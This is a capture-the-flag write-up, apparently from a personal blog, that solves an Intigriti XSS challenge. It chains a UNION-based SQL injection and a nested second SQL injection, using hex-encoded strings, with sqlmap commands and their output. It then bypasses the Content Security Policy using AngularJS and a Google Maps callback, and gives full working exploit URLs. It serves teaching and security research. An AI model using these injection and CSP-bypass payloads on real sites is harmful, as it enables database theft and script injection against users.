Another month, another Intigriti XSS Challenge. On Twitter intigriti released another challenge to find Cross-Site Scripting. This specific challenge just kept on going. Every time I thought I got the full payload there was just another catch, but in the end, it was very satisfying to solve.

The Challenge

The previous challenges seem to stay up permanently, so you can still view the challenge yourself on: https://challenge-0722.intigriti.io/challenge/challenge.php

It shows us a blog with a few articles. The clickable names don't go anywhere, but on the right, there is an Archives section with two clickable links. If we go to March 2022 for example, we see the URL change to ?month=3, because March is the 3rd month. We can change this number to 2 to see all posts from February. For the rest this site is pretty simple, this is about all the functionality.

SQL Injection

"SQL Injection?! I thought this was an XSS challenge", but in this case, we might be able to use SQL Injection to get XSS. The only real input we have is the ?month= parameter we found, so let's try it. It takes a number, so we probably won't have to escape any quotes. The query could look something like this if we inject OR 1=1:

SQL

SELECT * FROM blog WHERE month=3;
SELECT * FROM blog WHERE month=3 OR 1=1;

This means the WHERE condition will always be true, and it should return all the posts to us: https://challenge-0722.intigriti.io/challenge/challenge.php?month=7%20OR%201=1

When you visit the link, it indeed shows all 4 posts from February and March. We can verify this even further by trying AND 1=2, so the condition will always be false: https://challenge-0722.intigriti.io/challenge/challenge.php?month=7%20AND%201=2

And that shows no results as we expect! This means we can inject our own SQL syntax to get information from the database. Here I used sqlmap to do the hard work:

Shell

$ sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php?month=3 --batch --dbs

...
[15:03:40] [INFO] GET parameter 'month' appears to be dynamic
[15:03:41] [INFO] heuristic (basic) test shows that GET parameter 'month' might be injectable
[15:03:44] [INFO] GET parameter 'month' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
...
[15:05:04] [INFO] GET parameter 'month' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'month' is vulnerable. 
sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests:
---
Parameter: month (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: month=3 AND 5840=5840

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: month=3 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71706b6a71,0x5a754148485850614a6152515479704d67656b776d4d49647552786d72446278564a665079446e6e,0x7170627171)-- -
---
...
available databases [5]:
[*] blog
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Awesome. It found the SQL Injection, and even another more powerful variant called UNION. With this, we can append or "union" queries together to make the query return whatever we want. We can use this to quickly get records from the database, but also to get our content displayed on the site, a perfect candidate for XSS.

To get our content in here we need to first find what columns are returned on the site. We can send a payload like 1 UNION SELECT 111,222,333,444,555 to make the columns distinct in the output.

Here we can clearly see 222, 555, and 333 in the result. This means these 3 columns are returned in the HTML and are candidates for XSS.
Normally we can just replace our 333 for example with "text" in quotes to make it return a string. But in this case, it seems to just return error any time we use " or ' quotes. Luckily MySQL has some other ways of representing string, like the hexadecimal notation. We can just convert all characters of a string to hex and then put 0x in front of it. Then we represented a string without using any quotes. With a simple <u>underlined</u> for example, I made a CyberChef recipe to convert it to this hex format. We can then use 0x3c753e756e6465726c696e65643c2f753e in our payload instead of the numbers to test if we can use HTML:

1 UNION SELECT 111,0x3c753e756e6465726c696e65643c2f753e,0x3c753e756e6465726c696e65643c2f753e,444,0x3c753e756e6465726c696e65643c2f753e

Sadly we can see that it does not interpret our tags as real HTML. They're encoded with HTML entities, and it's probably not something we can bypass.
So far we used the 222, 333, and 555 columns, and the 111 column is probably a numeric ID. But we're not yet sure what the 444 column is. To help us guess we can make use of the SQL Injection we found so far. We can try to find the columns for the blog table to see what things we're missing. We can simply use sqlmap for this again, with the -D blog and -T post parameters, and finally --dump to get the data and columns for this table.

Shell

$ sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php?month=3 --batch -D blog -T post --dump
...
[15:37:46] [INFO] fetching entries for table 'post' in database 'blog'
Database: blog
Table: post
[4 entries]
+----+----------------------------------+--------------------+--------+---------------------+
| id | msg                              | title              | author | datetime            |
+----+----------------------------------+--------------------+--------+---------------------+
| 1  | Hello everyone                   | First post         | 1      | 2022-02-14 15:26:55 |
| 2  | Another post by Anton            | Second post        | 1      | 2022-02-14 15:57:22 |
| 3  | Hello, I'm Jake and I'm new here | I'm new            | 2      | 2022-02-14 15:57:42 |
| 4  | Time goes fast                   | It's March already | 2      | 2022-03-22 02:35:10 |
+----+----------------------------------+--------------------+--------+---------------------+

And the 4th column is... the author! It seems to just be a number, probably referencing somewhere. There is also a user table that seems to contain these authors.

Shell

$ sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php?month=3 --batch -D blog -T user --dump
...
[15:39:56] [INFO] fetching entries for table 'user' in database 'blog'
Database: blog
Table: user
[2 entries]
+----+-------+-----------+
| id | name  | picture   |
+----+-------+-----------+
| 1  | Anton | anton.png |
| 2  | Jake  | jake.png  |
+----+-------+-----------+

When we specify a number like 2 in the author column we do actually get the "by Jake" text: 1 UNION SELECT 111,222,333,2,555. It seems we can change the number, but not the actual text displayed on the page.

SQLi-ception

This is where it starts to get tricky. I tried lots of things with JOIN and subqueries but nothing seems to be able to change this name value, but it must be coming from the database somehow. Eventually, I had a crazy idea, what if we do another SQL Injection, inside of this SQL Injection? Maybe the backend code is just doing two separate queries. The first gets information about the blog post, including the id of the author. Then a second query takes this id and queries the user database to get the name. This would mean the value of the 4th column on our payload is sent into another query, possibly allowing a second SQL Injection.

We can try this by doing another OR 1=1 and AND 1=2 payload to see the differences, with the same hexadecimal trick from earlier:

The first link shows "by Anton", the first user, and the second link shows just an empty "by". This again means that our SQL Injection worked, and we can try the same UNION trick to let it return arbitrary data and possibly get XSS. With a payload like 3 UNION SELECT 666,777,888 we see "by 777"! Now that we also have control over this author value by changing the 777, let's try some HTML in here.

  1. Take <h1>test</h1> and convert it to the hex format: 0x3c68313e746573743c2f68313e
  2. Take our new payload like 3 UNION SELECT 666,0x3c68313e746573743c2f68313e,888 and convert it to hex as well: 0x3320554e494f4e2053454c454354203636362c307833633638333133653734363537333734336332663638333133652c383838
  3. Finally put this in our first SQL Injection: 1 UNION SELECT 111,222,333,0x3320554e494f4e2053454c454354203636362c307833633638333133653734363537333734336332663638333133652c383838,555

Note
At this point I made another CyberChef recipe to automate this

When we visit the URL it shows our <h1>test</h1> interpreted as HTML! Because the text is bigger and we can't see the tags anymore. So just put a <script> tag in there and we're done, right? We can replace the <h1> payload with <script>alert(document.domain)</script> and get the following link:

https://challenge-0722.intigriti.io/challenge/challenge.php?month=1%20UNION%20SELECT%20111,222,333,0x3320554e494f4e2053454c454354203636362c30783363373336333732363937303734336536313663363537323734323836343666363337353664363536653734326536343666366436313639366532393363326637333633373236393730373433652c383838,555

Looking at the HTML it seems to correctly include our <script>alert(document.domain)</script>, but we don't see an alert. Looking at the Console shows the reason for this:

Text

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com". Either the 'unsafe-inline' keyword, a hash ('sha256-X6WoVv8sUlFXk0r+MI/R+p2PsbD1k74Z+jLIpYAjIgE='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

It violates the Content Security Policy, used to protect against these kinds of XSS attacks, and much more.

Content Security Policy (CSP)

Looking at the HTTP response from the server, the CSP is simply:

CSP

default-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com

We can use the CSP Evaluator from Google to quickly get an idea of what things we can abuse. Under default-src it allows anything from googleapis.com, gstatic.com, and cloudflare.com. As the evaluator says, these domains are known to contain AngularJS libraries. One of these is ajax.googleapis.com, which has AngularJS hosted on https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js.

AngularJS allows us to specify special attributes to elements to do Angular stuff. It also allows us to register things like onclick handlers. I found a great presentation by Mario Heiderich going over some of the details of this CSP Bypass. Angular can work while CSP is enabled by registering functions on event handlers. Eventually, we need to execute alert(document.domain), and these alert and document variables are accessible in Angular via the $event.view variable. So it will become $event.view.alert($event.view.document.domain). Let's try this in our payload:

HTML

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>
<div ng-app ng-csp ng-click=$event.view.alert($event.view.document.domain)>click me</div>

Converting it with CyberChef again results in this URL. When we load it and click the "click me" text we actually see the alert(document.domain)! This is nice, but for the challenge, it needs to trigger upon loading the page. The problem we have is that Angular in CSP mode can only register event handlers like onclick, but not things like onload.

But here we can use another trick to click the text for the user, so there is no interaction required. One thing I found while searching for the AngularJS exploits was some callback scripts. These scripts are supposed to run, and then call a function back in the original code it was called from. There is this handy function called click() on all HTML elements that allows us to click an element via JavaScript, thus not requiring user interaction.

I just searched on Google for "googleapis.com callback parameter" to find any known scripts on this domain that have this functionality, because most things I found were from years ago and didn't work anymore. Eventually, I found https://maps.googleapis.com/maps/api/js in a StackOverflow post. This URL has a ?callback= parameter that we can give any function. You can test it by quickly making an HTML file with <script src="https://maps.googleapis.com/maps/api/js?callback=alert"></script> in it. Opening the document triggers the alert() function! This means we can execute any function by just including a script to this source. One catch is that we can only specify the function name, not the arguments. But we can just call the .click() function on our Angular element to trigger the code we want anyways, so this isn't a problem.

Now we only need a way to access the HTML element from JavaScript to execute .click() on it. One thing we can do is add the id=x attribute to the Angular element, because then in JavaScript it will be accessible via the x variable (sometimes this is also abusable with DOM clobbering if you're interested). This means we can let the callback execute x.click for us, which will click the element without any user interaction! The final HTML will look something like this:

HTML

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>
<div ng-app ng-csp id=x ng-click=$event.view.alert($event.view.document.domain)>click me</div>
<script async src=https://maps.googleapis.com/maps/api/js?callback=x.click></script>

Converting it again with the CyberChef recipe leaves us with the final URL to trigger the XSS:

https://challenge-0722.intigriti.io/challenge/challenge.php?month=1%20UNION%20SELECT%20111,222,333,0x3320554e494f4e2053454c454354203636362c3078336337333633373236393730373432303733373236333364323236383734373437303733336132663266363136613631373832653637366636663637366336353631373036393733326536333666366432663631366136313738326636633639363237333266363136653637373536633631373236613733326633313265333832653332326636313665363737353663363137323265366436393665326536613733323233653363326637333633373236393730373433653061336336343639373632303665363732643631373037303230366536373264363337333730323036393634336437383230366536373264363336633639363336623364323436353736363536653734326537363639363537373265363136633635373237343238323436353736363536653734326537363639363537373265363436663633373536643635366537343265363436663664363136393665323933653633366336393633366232303664363533633266363436393736336530613363373336333732363937303734323036313733373936653633323037333732363333643638373437343730373333613266326636643631373037333265363736663666363736633635363137303639373332653633366636643266366436313730373332663631373036393266366137333366363336313663366336323631363336623364373832653633366336393633366233653363326637333633373236393730373433652c383838,555

Which correctly triggers the alert when visited, without any user interaction!